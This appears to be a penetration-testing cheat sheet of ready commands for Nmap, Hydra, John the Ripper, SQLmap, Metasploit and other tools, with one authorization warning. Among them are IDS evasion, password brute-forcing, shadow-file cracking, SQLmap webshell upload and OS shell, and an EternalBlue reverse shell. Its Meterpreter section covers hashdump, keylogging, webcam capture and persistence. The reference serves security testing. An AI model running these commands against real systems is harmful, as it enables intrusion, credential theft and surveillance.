⊘
No results
Try different keywords
Installation (Kali/Debian)
Install Nmap on Kali/Debian
setup
▾sudo apt update && sudo apt install -y nmap
nmap --version
sudo nmap --script-updatedb # update NSE scriptsHost Discovery
Host discovery — ping sweep
discovery
▾Identify live hosts before scanning. Per nmap.org/book/man-host-discovery.html
# Ping sweep — no port scan (-sn replaces deprecated -sP)
sudo nmap -sn 192.168.1.0/24
# Skip discovery — treat all hosts as online (firewalled hosts)
sudo nmap -Pn target.com
# ARP ping (fastest on local LAN, needs root)
sudo nmap -PR 192.168.1.0/24
# TCP SYN ping (bypasses ICMP-blocking firewalls)
sudo nmap -PS22,80,443 target.com
# UDP ping to bypass stricter firewalls
sudo nmap -PU53,161 target.com
# ICMP timestamp ping
sudo nmap -PP target.com
# List targets without scanning (dry run)
nmap -sL 192.168.1.0/24
# Scan multiple targets / ranges
nmap 192.168.1.1 192.168.1.2
nmap 192.168.1.1-50
nmap 192.168.1.0/24
nmap -iL targets.txt # from fileScan Types
All scan types — SYN, TCP, UDP, FIN, NULL, Xmas, ACK
scanning
▾Per nmap.org/book/man-port-scanning-techniques.html — sS is default with root; sT when no root.
# SYN stealth scan (default with root) — half-open, fast
sudo nmap -sS target.com
# TCP Connect scan (no root needed) — full 3-way handshake
nmap -sT target.com
# UDP scan (slow, requires root)
sudo nmap -sU target.com
# UDP + SYN combined
sudo nmap -sS -sU target.com
# FIN scan — evades stateful firewalls (closed ports reply RST)
sudo nmap -sF target.com
# NULL scan — no flags set
sudo nmap -sN target.com
# Xmas scan — FIN+PSH+URG flags set
sudo nmap -sX target.com
# ACK scan — map firewall rulesets (open vs filtered)
sudo nmap -sA target.com
# Maimon scan (FIN+ACK)
sudo nmap -sM target.com
# Window scan (like ACK but examines TCP window field)
sudo nmap -sW target.comPort specification
ti2
▾nmap target.com # top 1000 (default)
nmap -p- target.com # all 65535 ports
nmap -p 22,80,443,3306,8080 target.com # specific ports
nmap -p 1-1024 target.com # range
nmap --top-ports 500 target.com # top N ports
nmap -p U:53,161,T:80,443 target.com # mixed TCP/UDP
nmap --open target.com # show only open
nmap -p http,ftp,ssh target.com # by service name
nmap -p 8080-8090 target.com # port rangeVersion & OS Detection
Version (-sV), OS (-O), Aggressive (-A)
tm
▾sV probes open ports for service/version. -O fingerprints OS. -A enables all plus traceroute.
# Service version detection
nmap -sV target.com
nmap -sV --version-intensity 5 target.com # 0-9 scale
nmap -sV --version-all target.com # try all probes
# OS detection (requires root)
sudo nmap -O target.com
sudo nmap -O --osscan-guess target.com # guess even if uncertain
sudo nmap -O --osscan-limit target.com # skip hard cases
# Aggressive: OS + version + scripts + traceroute
sudo nmap -A target.com
# Gold standard pentest command
sudo nmap -sC -sV -O -p- -T4 --open -oA ~/scans/full target.comNSE Scripts
NSE — all script categories & examples
tc
▾600+ scripts in /usr/share/nmap/scripts/. Categories: auth, brute, default, discovery, exploit, fuzzer, intrusive, malware, safe, version, vuln.
# Run default safe scripts
nmap -sC target.com
# Vulnerability detection
nmap --script=vuln target.com
# HTTP enumeration
nmap --script=http-enum,http-headers,http-methods,http-title -p 80,443 target.com
nmap --script=http-robots.txt,http-git,http-auth target.com
nmap --script=http-sql-injection target.com
# SMB / Windows
nmap --script=smb-vuln-ms17-010 -p 445 target.com # EternalBlue
nmap --script=smb-enum-shares,smb-enum-users -p 445 target.com
nmap --script=smb-os-discovery -p 445 target.com
nmap --script=smb-vuln-cve-2017-7494 -p 445 target.com # SambaCry
# FTP
nmap --script=ftp-anon,ftp-bounce,ftp-syst -p 21 target.com
# SSH
nmap --script=ssh-hostkey,ssh-auth-methods -p 22 target.com
nmap --script=ssh-brute -p 22 target.com
# SSL/TLS
nmap --script=ssl-cert,ssl-enum-ciphers,ssl-heartbleed -p 443 target.com
nmap --script=ssl-dh-params,ssl-poodle target.com
# DNS
nmap --script=dns-zone-transfer -p 53 target.com
nmap --script=dns-brute target.com
nmap --script=dns-recursion target.com
# Database
nmap --script=mysql-info,mysql-empty-password -p 3306 target.com
nmap --script=ms-sql-info,ms-sql-empty-password -p 1433 target.com
nmap --script=mongodb-info -p 27017 target.com
# Brute force modules
nmap --script=http-brute -p 80 target.com
nmap --script=snmp-brute target.com
# Search / help
ls /usr/share/nmap/scripts/ | grep http
nmap --script-help=smb-vuln-ms17-010Timing, Evasion & Output
Timing, evasion & all output formats
th2
▾# Timing (T0=paranoid, T1=sneaky, T3=normal, T4=aggressive, T5=insane)
nmap -T0 target.com # IDS evasion — very slow
nmap -T3 target.com # normal default
nmap -T4 target.com # faster — good for CTF/fast networks
# Firewall / IDS evasion
sudo nmap -f target.com # fragment packets (8-byte)
sudo nmap -f -f target.com # 16-byte fragments
sudo nmap --mtu 24 target.com # custom MTU (must be 8x)
sudo nmap -D RND:10 target.com # 10 random decoy IPs
sudo nmap -D 10.0.0.1,10.0.0.5,ME target.com
nmap --scan-delay 1s target.com # add delay between probes
nmap --randomize-hosts 192.168.1.0/24 # random host order
nmap --data-length 25 target.com # append random data
nmap --spoof-mac 0 target.com # random MAC spoof
nmap --source-port 53 target.com # spoof source port (DNS)
# Output formats
nmap -oN ~/scans/output.txt target.com # normal text
nmap -oX ~/scans/output.xml target.com # XML (importable)
nmap -oG ~/scans/output.gnmap target.com # grepable
nmap -oA ~/scans/output target.com # all 3 formats
nmap -v target.com # verbose
nmap -vv target.com # extra verbose
nmap --reason target.com # show detection reason
nmap --packet-trace target.com # show all packets📂
Gobuster — Directory & DNS Brute-Forcer
Fast content discovery in Go. github.com/OJ/gobuster
Installation (Kali/Debian)
Install Gobuster
ti2
▾sudo apt update && sudo apt install -y gobuster seclists
gobuster --version
# Latest via Go
go install github.com/OJ/gobuster/v3@latest
# Key wordlists
ls /usr/share/seclists/Discovery/Web-Content/Directory Mode
Directory & file brute-force
th2
▾# Basic directory scan
gobuster dir -u https://target.com \
-w /usr/share/wordlists/dirb/common.txt
# With extensions + threads + output
gobuster dir -u https://target.com \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
-x php,html,txt,bak,sql,zip,env,json,xml,asp,aspx,config \
-t 50 -o ~/gobuster/dir.txt
# Filter status codes
gobuster dir -u https://target.com \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-s "200,301,302,401,403" -t 40
# With session cookie
gobuster dir -u https://target.com -w wordlist.txt \
-c "PHPSESSID=abc123; csrftoken=xyz"
# With custom headers
gobuster dir -u https://target.com -w wordlist.txt \
-H "Authorization: Bearer TOKEN" -H "X-Forwarded-For: 127.0.0.1"
# Ignore TLS errors (self-signed certs)
gobuster dir -u https://target.com -w wordlist.txt -k
# Follow redirects + show full URLs
gobuster dir -u https://target.com -w wordlist.txt -r -e
# Via Burp proxy
gobuster dir -u https://target.com -w wordlist.txt \
--proxy http://127.0.0.1:8080
# Expanded wordlists for thorough scan
gobuster dir -u https://target.com \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt \
-t 100 --no-errorDNS, VHost & S3 Modes
DNS subdomain, VHost enumeration & fuzzing
tm
▾# DNS subdomain brute-force
gobuster dns -d target.com \
-w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-t 50 --show-ips
# Subdomain to file
gobuster dns -d target.com \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--show-ips -o ~/gobuster/dns.txt
# Virtual host enumeration (Host header fuzzing)
gobuster vhost -u https://target.com \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain -t 40
# S3 bucket enumeration
gobuster s3 -w bucket-names.txt
# Fuzz mode (custom FUZZ keyword anywhere in URL)
gobuster fuzz -u "https://target.com/FUZZ" -w wordlist.txt \
--exclude-length 0🔑
Hydra — Online Password Cracker
Network login brute-forcer by THC/vanHauser. github.com/vanhauser-thc/thc-hydra
Installation (Kali/Debian)
Install Hydra
ti2
▾sudo apt update && sudo apt install -y hydra hydra-gtk
hydra -h 2>&1 | head -30Flags & Syntax
Key flags & syntax overview
ti2
▾Hydra tests credential combinations against live services. Supports 50+ protocols: SSH, FTP, HTTP, SMTP, RDP, MySQL, SMB, Telnet, POP3, IMAP, LDAP...
-l USER # single username
-L users.txt # username list file
-p PASS # single password
-P pass.txt # password list file
-C creds.txt # colon-separated user:pass file
-t 16 # threads per task (default 16)
-T 64 # total tasks (for multiple hosts)
-s PORT # custom port
-S # SSL/TLS mode
-f # stop after first valid pair found
-F # stop ALL tasks when first pair found
-V # verbose — show each attempt
-vV # extra verbose with debug
-d # debug mode
-o out.txt # save found credentials
-I # ignore restore file (restart)
-e nsr # try: n=no-pass, s=same-as-login, r=reverse
-u # try all users per password (vs all passes per user)
-w 30 # wait seconds between retries
-W 10 # wait between connections (default 0)
-R # restore previous sessionService-Specific Commands
SSH, FTP, RDP, SMTP, MySQL, PostgreSQL, SMB, POP3
tc
▾# SSH (limit threads — SSH rate-limits aggressively)
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 4 ssh://target.com
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/wordlists/rockyou.txt -t 4 target.com ssh
hydra -l admin -P pass.txt -t 4 -s 2222 ssh://target.com # custom port
# FTP
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://target.com
# RDP (Windows Remote Desktop — max 1 thread)
hydra -L users.txt -P pass.txt -t 1 rdp://target.com
# SMTP
hydra -L emails.txt -P pass.txt smtp://target.com
hydra -l user@target.com -P pass.txt -s 587 smtp://target.com
# MySQL
hydra -l root -P pass.txt target.com mysql
# PostgreSQL
hydra -l postgres -P pass.txt target.com postgres
# SMB (Windows shares)
hydra -L users.txt -P pass.txt smb://target.com
# Telnet
hydra -l admin -P pass.txt telnet://target.com
# POP3 / IMAP (email)
hydra -l user@target.com -P pass.txt pop3://target.com
hydra -l user@target.com -P pass.txt imap://target.com
# LDAP
hydra -l "cn=admin,dc=target,dc=com" -P pass.txt ldap://target.comHTTP form & web authentication
tc
▾Capture the login request in Burp first. Use ^USER^ and ^PASS^ markers. Failure string must ONLY appear on failed login responses.
# HTTP POST form — format: "PATH:BODY:FAIL_STRING"
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com \
http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
# HTTPS POST form
hydra -L users.txt -P pass.txt target.com \
https-post-form "/login:user=^USER^&pass=^PASS^:F=Login failed"
# WordPress wp-login brute force
hydra -L users.txt -P pass.txt target.com \
https-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:ERROR"
# HTTP Basic Authentication
hydra -l admin -P pass.txt http-get://target.com/admin/
# HTTP GET form
hydra -l admin -P pass.txt target.com \
http-get-form "/login.php:user=^USER^&pass=^PASS^:F=failed"
# HTTPS with custom port
hydra -l admin -P pass.txt -s 8443 -S target.com \
https-post-form "/admin/login:u=^USER^&p=^PASS^:incorrect"⚠ LEGAL WARNINGOnly against systems you own or have written authorization to test.
🔓
John the Ripper — Offline Password Cracker
Password security auditing tool. www.openwall.com/john/
Installation (Kali/Debian)
Install John the Ripper
ti2
▾sudo apt update && sudo apt install -y john
john --list=formats | wc -l # number of supported formats
which zip2john ssh2john pdf2john # check helper scripts
ls /usr/share/john/ # wordlists and configCracking Modes
Wordlist, single & incremental modes
th2
▾John auto-detects hash type. Modes: Single (fastest, uses GECOS info), Wordlist (dictionary), Incremental (brute-force).
# Auto-detect and crack with all modes sequentially
john hashes.txt
# Wordlist attack (dictionary)
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Wordlist + mangling rules
john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=All hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=Jumbo hashes.txt
# Single crack mode (fastest — uses username/gecos for guesses)
john --single hashes.txt
# Brute-force (incremental)
john --incremental hashes.txt
john --incremental=Digits hashes.txt # digits only
john --incremental=Alpha hashes.txt # letters only
john --incremental=Alnum hashes.txt # alphanumeric
# Specify hash format explicitly
john --format=NT hashes.txt # NTLM (Windows)
john --format=md5crypt hashes.txt # Linux $1$
john --format=sha512crypt hashes.txt # Linux $6$
john --format=bcrypt hashes.txt # bcrypt $2b$
john --format=raw-sha256 hashes.txt # raw SHA-256
john --format=raw-md5 hashes.txt # raw MD5
john --format=sha1crypt hashes.txt # Linux $sha1$
john --format=pbkdf2 hashes.txt # PBKDF2
# Show cracked passwords
john --show hashes.txt
john --show --format=NT hashes.txt
# List all supported hash formats
john --list=formats
john --list=formats | grep -i ntlmHash extraction from files
th2
▾# Linux /etc/shadow — combine with passwd first
sudo unshadow /etc/passwd /etc/shadow > combined.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt
# ZIP file password
zip2john protected.zip > zip_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
# PDF password
pdf2john protected.pdf > pdf_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash.txt
# SSH private key passphrase
ssh2john id_rsa > ssh_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt
# RAR archive
rar2john archive.rar > rar_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt rar_hash.txt
# 7-Zip archive
7z2john archive.7z > 7z_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt 7z_hash.txt
# KeePass database
keepass2john database.kdbx > kp_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt kp_hash.txt
# Office documents
office2john document.docx > doc_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt doc_hash.txtSessions, performance & management
tm
▾# Save session and resume later
john hashes.txt --session=mysession
john --restore=mysession
# Fork across CPU cores
john hashes.txt --fork=4 # 4 cores
# Check progress
john --status
john --status=mysession
# Identify hash type without cracking
john --identify hashes.txt
# Custom mask attack (like hashcat -a 3)
john hashes.txt --mask=?a?a?a?a?a?a # 6 any chars💉
SQLmap — SQL Injection Automation
Automated SQLi detection and database takeover. sqlmap.org
Installation (Kali/Debian)
Install SQLmap
ti2
▾sudo apt update && sudo apt install -y sqlmap
sqlmap --version
# Latest from GitHub
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git ~/tools/sqlmap
python3 ~/tools/sqlmap/sqlmap.py --versionDetection
URL, POST form & Burp request testing
tc
▾# Basic GET parameter test (--batch = auto-yes all prompts)
sqlmap -u "https://target.com/page?id=1" --batch
# POST form
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test" --batch
# From Burp Suite saved request (RIGHT-CLICK > Save item)
sqlmap -r burp_request.txt --batch
sqlmap -r burp_request.txt --batch --level=5 --risk=3
# With session cookie
sqlmap -u "https://target.com/profile?uid=1" \
--cookie="PHPSESSID=abc123; csrftoken=xyz" --batch
# Test specific parameter only
sqlmap -u "https://target.com/?id=1&page=2" -p id --batch
# JSON POST body
sqlmap -u "https://target.com/api/user" \
--data='{"id": "1"}' --headers="Content-Type: application/json" --batch
# Specify DBMS to speed up
sqlmap -u "URL?id=1" --dbms=mysql --batch
sqlmap -u "URL?id=1" --dbms=postgresql --batch
sqlmap -u "URL?id=1" --dbms=mssql --batch
sqlmap -u "URL?id=1" --dbms=oracle --batch
sqlmap -u "URL?id=1" --dbms=sqlite --batch
# Level (1-5) = tests per param | Risk (1-3) = payload aggressiveness
sqlmap -u "URL?id=1" --level=3 --risk=2 --batchDatabase Enumeration
Enumerate & dump databases
tc
▾sqlmap -u "URL?id=1" --dbs --batch # all databases
sqlmap -u "URL?id=1" -D dbname --tables --batch # tables in DB
sqlmap -u "URL?id=1" -D dbname -T users --columns --batch # columns
sqlmap -u "URL?id=1" -D dbname -T users --dump --batch # dump table
sqlmap -u "URL?id=1" -D db -T users \
-C "username,password,email" --dump --batch # specific cols
sqlmap -u "URL?id=1" --dump-all --exclude-sysdbs --batch # all user DBs
sqlmap -u "URL?id=1" --current-user --current-db --batch
sqlmap -u "URL?id=1" --hostname --batch
sqlmap -u "URL?id=1" --users --passwords --batch # DBMS users+hashes
sqlmap -u "URL?id=1" --privileges --roles --batch
# Count rows before dumping
sqlmap -u "URL?id=1" -D db -T users --count --batchWAF Bypass & Advanced
Tamper scripts, techniques & OS shell
tc
▾# Injection techniques: B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline
sqlmap -u "URL?id=1" --technique=B --batch # boolean-blind
sqlmap -u "URL?id=1" --technique=T --batch # time-based blind
sqlmap -u "URL?id=1" --technique=U --batch # UNION-based
sqlmap -u "URL?id=1" --technique=BEUST --batch # all
# WAF bypass tamper scripts
sqlmap -u "URL?id=1" --tamper=space2comment --batch
sqlmap -u "URL?id=1" --tamper=between --batch
sqlmap -u "URL?id=1" --tamper=randomcase --batch
sqlmap -u "URL?id=1" --tamper=charencode --batch
sqlmap -u "URL?id=1" --tamper=base64encode --batch
sqlmap -u "URL?id=1" --tamper=space2comment,randomcase,charencode --batch
sqlmap -u "URL?id=1" --tamper=apostrophemask,between --batch
# OS shell (requires DBA privileges)
sqlmap -u "URL?id=1" --os-shell --batch
sqlmap -u "URL?id=1" --os-cmd="id;whoami" --batch
# File read/write
sqlmap -u "URL?id=1" --file-read="/etc/passwd" --batch
sqlmap -u "URL?id=1" \
--file-write="webshell.php" \
--file-dest="/var/www/html/shell.php" --batch
# Interactive SQL shell
sqlmap -u "URL?id=1" --sql-shell --batch
# List all tamper scripts
sqlmap --list-tampers⚡
Masscan — Ultra-Fast Port Scanner
Scan entire internet-scale networks in minutes. github.com/robertdavidgraham/masscan
Installation (Kali/Debian)
Install Masscan
ti2
▾sudo apt update && sudo apt install -y masscan
masscan --version
# Build from source (latest)
sudo apt install -y git libpcap-dev
git clone https://github.com/robertdavidgraham/masscan ~/tools/masscan
cd ~/tools/masscan && make -j$(nproc) && sudo make installScanning
Masscan — all options
th2
▾Masscan uses its own async TCP/IP stack — does NOT use the OS stack. Requires root. --rate controls packets/second.
# Scan specific ports on a range
sudo masscan 192.168.1.0/24 -p 80,443,22,21
# Fast scan with high rate (use with caution)
sudo masscan 10.0.0.0/8 -p 22,80,443 --rate 10000
# Scan all ports
sudo masscan target.com -p 0-65535 --rate 100000
# Exclude ranges (important — exclude your gateway)
sudo masscan 192.168.1.0/24 -p 80 --excludefile /etc/masscan/exclude.conf
# Save output
sudo masscan 192.168.1.0/24 -p 1-65535 -oX ~/masscan/results.xml
sudo masscan 192.168.1.0/24 -p 1-65535 -oG ~/masscan/results.grep
sudo masscan 192.168.1.0/24 -p 1-65535 -oL ~/masscan/results.txt
sudo masscan 192.168.1.0/24 -p 1-65535 -oJ ~/masscan/results.json
# Resume interrupted scan
sudo masscan --resume paused.conf
# Banner grabbing (limited — use Nmap for full service info)
sudo masscan 192.168.1.0/24 -p 80,443 --banners
# Best practice: Masscan discovery → Nmap targeted
sudo masscan 192.168.1.0/24 -p 1-65535 --rate 50000 -oG masscan_all.grep
grep "open" masscan_all.grep | awk '{print $2}' | sort -u > live_hosts.txt
sudo nmap -sC -sV -iL live_hosts.txt -oA ~/scans/nmap_targeted💡 TIPMasscan for fast initial discovery, then Nmap against discovered ports. This two-pass approach is the industry standard for large networks.
🎯
Metasploit Framework
World's most used penetration testing framework. docs.metasploit.com
Installation (Kali/Debian)
Install & start Metasploit
ti2
▾sudo apt update && sudo apt install -y metasploit-framework
# Initialize PostgreSQL database
sudo msfdb init && sudo msfdb start
# Launch (quiet mode — faster)
msfconsole -qCore Navigation
msfconsole — all essential commands
ti2
▾# Search & navigate
help # full command reference
search eternalblue # search by keyword
search type:exploit name:smb # filtered search
search platform:windows cve:2017 # by platform + CVE
use exploit/windows/smb/ms17_010_eternalblue
info # show module description + refs
show options # required/optional options
show advanced # advanced options
show payloads # compatible payloads
show targets # available targets
# Set options
set RHOSTS 192.168.1.100
set RPORT 445
set LHOST 192.168.1.200 # your IP (reverse shell)
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
setg LHOST 192.168.1.200 # set GLOBALLY (persists)
# Execute
run # run the module
exploit # alias for run
exploit -j # run as background job
check # check vulnerability (non-intrusive)
# Session management
sessions # list active sessions
sessions -i 1 # interact with session 1
sessions -k 1 # kill session 1
sessions -K # kill ALL sessions
background / Ctrl+Z # background current session
back # exit moduleCommon Exploits & Scanners
Scanners & common exploits
tc
▾# TCP port scanner
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24 && set PORTS 22,80,443,445,3306 && run
# SMB version + EternalBlue
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24 && run
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.200 && run
# SSH login scanner / brute
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt && run
# HTTP version / directory scanner
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24 && run
use auxiliary/scanner/http/dir_listing
set RHOSTS target.com && run
# FTP anonymous login
use auxiliary/scanner/ftp/anonymous
set RHOSTS 192.168.1.0/24 && run
# MySQL / MSSQL
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.1.100 && run
# Heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS target.com && set VERBOSE true && runMeterpreter post-exploitation
tc
▾# Core session commands
sysinfo # OS, hostname, arch, domain
getuid # current user (NT AUTHORITY\SYSTEM = admin)
getpid # current process ID
getsystem # attempt privilege escalation
hashdump # dump SAM hashes (requires admin)
shell # interactive OS cmd.exe / /bin/sh
ps # list processes
migrate 1234 # migrate to PID 1234 (for persistence)
# Files
upload /tmp/file.exe C:\Windows\Temp\
download C:\Users\Admin\Desktop\secret.txt ~/loot/
ls / pwd / cat / cd / rm / mkdir / rmdir
# Keylogger
keyscan_start # start keylogger
keyscan_dump # dump captured keys
keyscan_stop
# Screen / Webcam
screenshare # live screen view
screenshot # single screenshot
webcam_snap # capture webcam photo
webcam_stream # webcam stream
# Network
portfwd add -l 8080 -p 80 -r 10.0.0.5 # port forward
route add 10.0.0.0/8 1 # add route through session
# Post-exploitation modules
run post/multi/recon/local_exploit_suggester # privesc suggestions
run post/windows/gather/credentials/credential_collector
run post/linux/gather/hashdump
# Persistence
run post/windows/manage/persistence_exe STARTUP=SCHEDULERWMAP Web Scanner
WMAP web application scanner
th2
▾msfconsole -q
msf6 > load wmap
msf6 > wmap_sites -a https://target.com
msf6 > wmap_targets -t https://target.com
msf6 > wmap_modules -l # list all modules
msf6 > wmap_run -t # run scan
msf6 > vulns # view discovered vulnerabilities
# Direct web auxiliary modules
use auxiliary/scanner/http/http_header
use auxiliary/scanner/http/robots_txt
use auxiliary/scanner/http/options
use auxiliary/scanner/http/files_dir
set RHOSTS target.com && run🔎
Nikto — Web Server Vulnerability Scanner
Open-source web server scanner. github.com/sullo/nikto
Installation (Kali/Debian)
Install Nikto
ti2
▾sudo apt update && sudo apt install -y nikto
nikto -Version
sudo nikto -update # update plugins and databasesScanning
Nikto — all scan options
th2
▾# Basic scan
nikto -h https://target.com
# SSL/HTTPS explicit
nikto -h target.com -ssl -p 443
nikto -h target.com -ssl -p 8443
# Custom port
nikto -h target.com -p 8080
# Multiple ports
nikto -h target.com -port 80,443,8080
# Save reports
nikto -h https://target.com -o ~/nikto/report.html -Format htm
nikto -h https://target.com -o ~/nikto/report.txt -Format txt
nikto -h https://target.com -o ~/nikto/report.xml -Format xml
nikto -h https://target.com -o ~/nikto/report.csv -Format csv
# Via Burp proxy
nikto -h https://target.com -useproxy http://127.0.0.1:8080
# With authentication
nikto -h https://target.com -id admin:password # Basic Auth
nikto -h https://target.com -C "session=abc123" # Cookie
# Tuning (test categories)
# 1=Interesting files 2=Misconfig 3=Info 4=Injection
# 5=Remote file retrieval 7=Server-side 8=Command exec 9=SQL
nikto -h target.com -T 1 # interesting files only
nikto -h target.com -T 1234 # multiple categories
nikto -h target.com -T 9 # all tests
# Scan from file of hosts
nikto -h hosts.txt -ssl -o ~/nikto/multi.html -Format htm
# Disable 404 caching (better accuracy)
nikto -h target.com -no404
# Evasion techniques (1-9)
nikto -h target.com -evasion 3 # random URI encoding🌐
OWASP ZAP — Web App Security Scanner
Flagship OWASP security testing tool. www.zaproxy.org/docs/
Installation (Kali/Debian)
Install OWASP ZAP
ti2
▾sudo apt update && sudo apt install -y zaproxy
zaproxy & # launch GUI
# Docker
docker pull owasp/zap2docker-stable
docker pull owasp/zap2docker-weekly # cutting edge
# pip ZAP CLI
pip3 install zapcliScanning Modes
Baseline, full, API & spider scans
th2
▾# Baseline passive scan (safe for production)
docker run --rm -t owasp/zap2docker-stable \
zap-baseline.py -t https://target.com
# Full active scan
docker run --rm -t owasp/zap2docker-stable \
zap-full-scan.py -t https://target.com
# HTML report
docker run --rm -v $(pwd):/zap/wrk:rw owasp/zap2docker-stable \
zap-baseline.py -t https://target.com -r zap_baseline.html
# Full scan + JSON report
docker run --rm -v $(pwd):/zap/wrk:rw owasp/zap2docker-stable \
zap-full-scan.py -t https://target.com -r zap_full.html -J zap.json
# API scan (OpenAPI/Swagger/SOAP)
docker run --rm owasp/zap2docker-stable \
zap-api-scan.py -t https://target.com/swagger.json -f openapi \
-r api_report.html
# ZAP CLI (local daemon)
zaproxy -daemon -port 8090 &
zap-cli --zap-url http://localhost:8090 quick-scan \
--self-contained https://target.com
# ZAP REST API
curl "http://localhost:8090/JSON/spider/action/scan/?url=https://target.com"
curl "http://localhost:8090/JSON/ascan/action/scan/?url=https://target.com"
curl "http://localhost:8090/JSON/core/view/alerts/"🔀
Burp Suite — Web Proxy & Interceptor
PortSwigger web testing platform. portswigger.net/burp/documentation
Installation (Kali/Debian)
Install & launch Burp Suite
ti2
▾sudo apt update && sudo apt install -y burpsuite
burpsuite & # or from Kali: Web Application Analysis menu
# Increase JVM memory
java -Xmx2g -jar /usr/bin/burpsuite
# CA cert for HTTPS:
# 1. Browse to http://burpsuite (proxy must be active)
# 2. Click "CA Certificate" → download cacert.der
# 3. Firefox: about:preferences#privacy → Certificates → Import
# Launch Firefox pre-proxied
firefox --proxy-server="127.0.0.1:8080" &Core Workflow
Proxy, Repeater, Intruder & Decoder
th2
▾# Default proxy: 127.0.0.1:8080
### Keyboard shortcuts
Ctrl+R # Send to Repeater
Ctrl+I # Send to Intruder
Ctrl+G # Forward intercepted request
Ctrl+F # Forward without intercepting
Ctrl+Z # Drop request
Ctrl+S # Save project
### INTRUDER — 4 attack modes
Sniper # 1 list, 1 position (username enum, param fuzzing)
Battering Ram # same payload in ALL positions simultaneously
Pitchfork # parallel lists — 1:1 mapping (credential pairs)
Cluster Bomb # cartesian product of all lists (full brute force)
# Mark positions with §
# username=§admin§&password=§test§
### REPEATER — manual request modification & replay
# Ctrl+R from any request → modify anything → Send → analyze response
### DECODER — encoding / hashing
# URL, Base64, HTML, Hex, Gzip, Binary encode/decode
# Hash: MD5, SHA-1, SHA-256, SHA-512
### COMPARER — diff two requests/responses
# Right-click request → Send to Comparer (in both panes)
### SCANNER (Pro only) — active vulnerability detection
# Target → right-click URL → Active Scan
# Burp REST API (Pro) — CI/CD integration
curl -s http://localhost:1337/v0.1/scan \
-d "{"urls":["https://target.com"]}" \
-H "Content-Type: application/json"
# Useful extensions (BApp Store):
# Param Miner — discover hidden params
# JWT Editor — JWT attack toolkit
# ActiveScan++ — advanced active scan checks
# Turbo Intruder — high-speed fuzzingInstallation (Kali/Debian)
Install Wireshark & tshark
ti2
▾sudo apt update && sudo apt install -y wireshark tshark
sudo usermod -aG wireshark $USER # non-root capture
newgrp wireshark # apply without relogin
wireshark & # launch GUICapture Filters (BPF)
BPF capture filters — full reference
ti2
▾host 192.168.1.1 # to/from host
src host 192.168.1.1 # FROM host
dst host 192.168.1.1 # TO host
net 192.168.1.0/24 # subnet
port 80 # HTTP
port 443 # HTTPS
portrange 1-1024 # first 1024
tcp port 22 # SSH only
udp port 53 # DNS only
tcp and not port 22 # TCP minus SSH
host 10.0.0.1 and port 443
not arp and not icmp # exclude noise
icmp # ICMP / ping
ether host aa:bb:cc:dd:ee:ff # by MAC address
vlan 10 # VLAN-tagged trafficDisplay Filters
Display filters — HTTP, TCP, DNS, credentials
tm
▾### HTTP
http # all HTTP
http.request # requests only
http.request.method == "POST" # POST requests
http.response.code == 200 # success
http.response.code == 401 # auth required
http.response.code >= 400 # all errors
http.request.uri contains "login"
http.request.uri contains "admin"
http contains "password" # search packet body
http.authbasic # Basic auth header
### IP & TCP
ip.addr == 192.168.1.1 # to or from IP
ip.src == 10.0.0.1
ip.dst == 192.168.1.1
ip.addr == 10.0.0.0/8 # CIDR range
tcp.port == 443
tcp.flags.syn == 1 # SYN (new connection)
tcp.flags.rst == 1 # RST (reset)
tcp.flags.fin == 1 # FIN (close)
tcp.analysis.retransmission # retransmissions
tcp.stream eq 5 # specific TCP stream
frame.number == 42 # specific frame
### DNS
dns # all DNS
dns.qry.name contains "target"
dns.flags.response == 1 # responses only
dns.qry.type == 28 # AAAA queries
### Credentials (plaintext)
ftp.request.command == "USER"
ftp.request.command == "PASS"
http.authbasic
telnet contains "password"
### TLS
tls # all TLS
tls.handshake.type == 1 # ClientHello
ssl.handshake.ciphersuite # cipher negotiationtshark — CLI packet analysis & scripting
th2
▾tshark -D # list interfaces
tshark -i eth0 # live capture
tshark -i eth0 -f "port 80" -w cap.pcap # capture + save
tshark -r cap.pcap # read pcap
tshark -r cap.pcap -Y "http.request" # display filter
tshark -r cap.pcap -Y "http.request" \
-T fields -e ip.src -e http.host -e http.request.uri
tshark -r cap.pcap -q -z io,phs # protocol hierarchy
